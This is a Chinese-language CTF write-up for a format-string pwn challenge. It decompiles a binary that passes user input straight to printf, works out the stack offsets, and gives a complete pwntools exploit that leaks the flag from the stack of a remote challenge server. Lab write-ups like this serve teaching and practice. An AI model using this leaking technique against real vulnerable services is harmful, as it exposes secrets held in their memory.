题面
一个二进制文件而已
分析
保护:
1
2
3
4
5
6
7
8
|
❯ pwn checksec --file=fmt
[*] '/data/project/ctf-repo/pwn/nssctf/fmt/fmt'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
|
ida 反编译后的 main:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
FILE *stream; // [rsp+8h] [rbp-68h]
char format[32]; // [rsp+10h] [rbp-60h] BYREF
char s[8]; // [rsp+30h] [rbp-40h] BYREF
__int64 v6; // [rsp+38h] [rbp-38h]
__int64 v7; // [rsp+40h] [rbp-30h]
__int64 v8; // [rsp+48h] [rbp-28h]
__int64 v9; // [rsp+50h] [rbp-20h]
__int64 v10; // [rsp+58h] [rbp-18h]
__int16 v11; // [rsp+60h] [rbp-10h]
unsigned __int64 v12; // [rsp+68h] [rbp-8h]
v12 = __readfsqword(0x28u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
stream = fopen("flag.txt", "r");
*(_QWORD *)s = 0;
v6 = 0;
v7 = 0;
v8 = 0;
v9 = 0;
v10 = 0;
v11 = 0;
if ( stream )
fgets(s, 50, stream);
HIBYTE(v11) = 0;
while ( 1 )
{
puts("Echo as a service");
gets(format);
printf(format);
putchar(10);
}
}
|
很纯粹,flag 写入到栈,留了个死循环可以利用格式化字符串。
无他,唯有读栈。
读 s。
利用
简单测算 printf 偏移量:
1
2
3
4
|
payload = b"aaaaaaaa" + b" %p" * 20
io.sendline(payload)
io.interactive()
|
得出偏移量为 8。
通过 ida 查看栈:

s 相对 format 偏移为: (0x60-0x40)/8 得出 4。
所以说,s 在 printf 的偏移为 12。
读 %s 肯定是行不通的,因为字符就原原本本的在栈上。那么只能通过 %p 一步步把栈上的字符提取出来。
就像这样:
1
2
3
|
io = remote("node5.anna.nssctf.cn", 27663)
payload = b"%12$p"
io.sendline(payload)
|

两个一组将其转换为字符。可知 flag 最后止于 }。
又因为 amd64 为小端序,还需要从右边读。
可以用一个 while 循环拿到完整 flag:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
offset = 12
flag = ""
running = True
while running:
payload = f"%{offset}$p"
io.sendlineafter(b"service", payload)
io.recvuntil(b"0x")
ascii_stream = io.recvuntil(b"\n")[:-1]
for i in range(0, len(ascii_stream), 2):
index = len(ascii_stream) - i
b = chr(int(ascii_stream[index - 2 : index].ljust(2, b"0"), 16))
flag += b
if b == "}":
running = False
offset += 1
|
这里用:
1
|
index = len(ascii_stream) - i
|
就是考虑到了小端序:
1
|
b = chr(int(ascii_stream[index - 2 : index].ljust(2, b"0"), 16))
|

拿到 flag。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
from pwn import *
# io = process("./fmt")
io = remote("node5.anna.nssctf.cn", 27663)
# printf offset = 8
offset = 12
flag = ""
running = True
while running:
payload = f"%{offset}$p"
io.sendlineafter(b"service", payload)
io.recvuntil(b"0x")
ascii_stream = io.recvuntil(b"\n")[:-1]
for i in range(0, len(ascii_stream), 2):
index = len(ascii_stream) - i
b = chr(int(ascii_stream[index - 2 : index].ljust(2, b"0"), 16))
flag += b
if b == "}":
running = False
offset += 1
print(flag)
io.interactive()
|